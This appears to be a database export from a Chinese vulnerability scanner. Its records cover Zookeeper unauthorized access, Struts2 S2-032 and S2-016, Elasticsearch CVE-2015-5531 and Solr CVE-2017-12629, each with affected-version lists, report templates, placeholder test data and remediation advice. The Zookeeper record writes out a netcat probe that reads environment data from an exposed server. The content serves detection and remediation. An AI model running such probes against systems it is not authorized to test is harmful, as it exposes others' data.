{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-157806} | high | 0 | null | 攻击者可在没有认证的情况下直接操作对应的 API 接口，可直接被非法增删改次数据。且因为攻击是在未认证下进行的，所以后续无法通过定位用户进行异常排查。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | service | null | Zookeeper 未授权访问漏洞指的是只要知道 Zookeeper 服务端的 IP 和 Port，用户/客户端在不需要任何认证的情况下就可以连上 Zookeeper 的服务端，并且可以对 znode 进行增删等操作。该漏洞使得存储在 znode 单元上的数据处于非常不安全的境地，极易被攻击和篡改。 | null | 执行以下 Linux 命令：
```
echo envi | nc {{ detail.host }} {{ detail.port }}
```
如果返回结果中包含系统环境变量信息，则说明存在该漏洞。 | Zookeeper 未授权访问漏洞 | zookeeper | 暂无 | f | 11/3/2021 08:09:09 | 1. 禁止将 Zookeeper 服务的端口直接暴露在公网；
2. 1.为 ZooKeeper 增加认证授权措施。https://cwiki.apache.org/confluence/display/ZOOKEEPER/Server-Server+mutual+authentication
3. 修改 Zookeeper 的监听 IP；
4. 通过防火墙对 Zookeeper 的访问配置白名单。 |
[{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:apache:struts:2.3.1.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.9:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.12:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.2.3.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.3.28:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.1.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.3.15:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.3.14:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.8:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.7:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.4:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.2.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.3.16:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.3.24.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.1.8.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.3.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.3.16.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.3.4:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.1.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.1.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.1.5:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.3.15.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.3.14.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.1.8:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.3.4.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.3.20.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.11.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.3.8:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.3.7:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.3.24:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.3.14.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.14:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.3.15.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.3.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.11:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.3.16.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.1.6:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.5:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.2.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.3.12:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.1.4:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.2.1.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.11.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.13:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.3.1.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.3.20:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.3.15.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.3.16.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.1.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.6:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.10:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.3.14.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:oracle:siebel_e-billing:7.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}] | null | f | CT-130729 | CNNVD-201604-585 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | 87327 | t | {CT-130729,CVE-2016-3081,CNVD-2016-02506,CNNVD-201604-585,87327} | high | 8.1 | CNVD-2016-02506 | 通过专业的安全评估，如果被攻击者利用，可直接getshell；可被用于内网信息收集，扫描目标内网主机；可攻击运行在内网或本地的应用程序；可被用作攻击跳板； | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | Apache Struts是一款用于创建企业级Java Web应用的开源框架。 | CVE-2016-3081 | CVE-2016-3081: Apache Struts2 2.3.20～2.3.28 远程命令执行漏洞S2-032 | http | 暂无 | f | 25/4/2016 16:00:00 | 严格检查参数的数据类型、数值与数据长度； 过滤可能产生命令注入的特殊字符，例如：$、=、'、、||、>、-、>>、等；升级中间件版本； |
|
[{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:apache:struts:2.3.1.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.9:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.12:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.2.3.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.1.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.3.15:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.3.14:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.8:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.7:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.4:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.2.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.1.8.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.3.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.3.4:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.1.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.1.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.1.5:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.3.14.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.1.8:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.3.4.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.11.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.3.8:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.3.7:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.3.14.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.14:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.3.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.11:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.1.6:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.5:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.2.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.3.12:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.1.4:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.2.1.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.11.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.13:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.3.1.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.1.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.6:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.10:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.3.14.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}] | null | f | CT-24262 | CNNVD-201307-308 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | 61189 | t | {CT-24262,CVE-2013-2251,CNNVD-201307-308,61189} | high | 9.6 | null | 可能造成造成信息泄露，业务系统不稳定等安全问题 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | Apache Struts框架是一个基于Java Servlets,JavaBeans, 和 JavaServer Pages (JSP)的Web应用框架的开源项目。 | CVE-2013-2251 | CVE-2013-2251: Apache Struts2 2.0.0～2.3.15 远程命令执行漏洞S2-016 | http | 暂无 | f | 19/7/2013 16:00:00 | 建议尽快修复安全问题，并做好安全管理工作，定期进行安全巡检，最大程度地避免安全问题。 |
|
[{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:elastic:elasticsearch:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndIncluding": "1.6.0"}]}] | null | f | CT-2436 | CNNVD-201507-666 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-2436,CVE-2015-5531,CNVD-2015-04937,CNNVD-201507-666} | medium | 4.3 | CNVD-2015-04937 | 攻击者通过利用一些特殊字符就可以绕过服务器的安全限制，访问任意的文件（可以使 web 根目录以外的文件），甚至执行系统命令。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | Elasticsearch是荷兰Elasticsearch公司的一套基于Lucene构建的开源分布式RESTful搜索引擎，它主要用于云计算中，并支持通过HTTP使用JSON进行数据索引。 Elasticsearch 1.6.1之前版本中存在目录遍历漏洞。远程攻击者可借助快照的API调用利用该漏洞读取任意文件。 | CVE-2015-5531 | CVE-2015-5531: Elasticsearch 目录遍历漏洞 | http | 暂无 | f | 16/8/2015 16:00:00 | 1. 配置文件：在配置文件中限制访问的文件目录，比如 PHP 中 php.ini 配置 open_basedir。
2. 特殊字符过滤：检查用户输入，过滤或转义含有“../”、“..\”、“%00”，“..”，“./”，“#”等跳转目录或字符终止符、截断字符的输入。
3. 合法性判断：严格过滤用户输入字符的合法性，比如文件类型、文件地址、文件内容等。
4. 对传入的文件名参数进行过滤，并且判断是否是允许获取的文件类型，过滤回溯符 ../
5. 白名单：白名单限定访问文件的路径、名称及后缀名。 |
|
[{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:apache:solr:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndIncluding": "5.5.4", "versionStartIncluding": "5.5.0"}, {"cpe23Uri": "cpe:2.3:a:apache:solr:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndIncluding": "6.6.1", "versionStartIncluding": "6.0.0"}, {"cpe23Uri": "cpe:2.3:a:apache:solr:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndIncluding": "7.0.1", "versionStartIncluding": "7.0.0"}]}, {"children": [{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:redhat:jboss_enterprise_application_platform:7.0.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:redhat:jboss_enterprise_application_platform:7.1.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:redhat:enterprise_linux_server:6.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": false}, {"cpe23Uri": "cpe:2.3:o:redhat:enterprise_linux_server:7.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": false}]}], "operator": "AND", "cpe_match": []}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:debian:debian_linux:8.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:debian:debian_linux:7.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:debian:debian_linux:9.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:canonical:ubuntu_linux:16.04:*:*:*:lts:*:*:*", "cpe_name": [], "vulnerable": true}]}] | null | f | CT-64635 | CNNVD-201710-501 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | 101261 | t | {CT-64635,CVE-2017-12629,CNVD-2017-33574,CNNVD-201710-501,101261} | critical | 9.8 | CNVD-2017-33574 | 1. 利用 XXE 进行 DOS 攻击；
2. 读取本地任意敏感文件；
3. 利用相关协议探测内网主机 IP、端口等信息；
4. 在特定条件下利用 Java 中的 jar:// 协议，php 中的 phar:// 可能导致恶意文件上传；
5. PHP 中如果安装了 expect 扩展，可利用 XXE 执行任意命令。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发，主要基于 HTTP 和 Apache Lucene 实现。Lucene是apache软件基金会4 jakarta项目组的一个子项目，是一个开放源代码的全文检索引擎工具包。 | CVE-2017-12629 | CVE-2017-12629: Apache Solr XXE & RCE 漏洞 | http | 暂无 | f | 14/10/2017 16:00:00 | - 使用语言中推荐的禁用外部实体的方法
- PHP：libxml_disable_entity_loader(true);
- Java:
- DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
- dbf.setExpandEntityReferences(false);
- Python:
- from lxml import etree
- xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
- 手动黑名单过滤
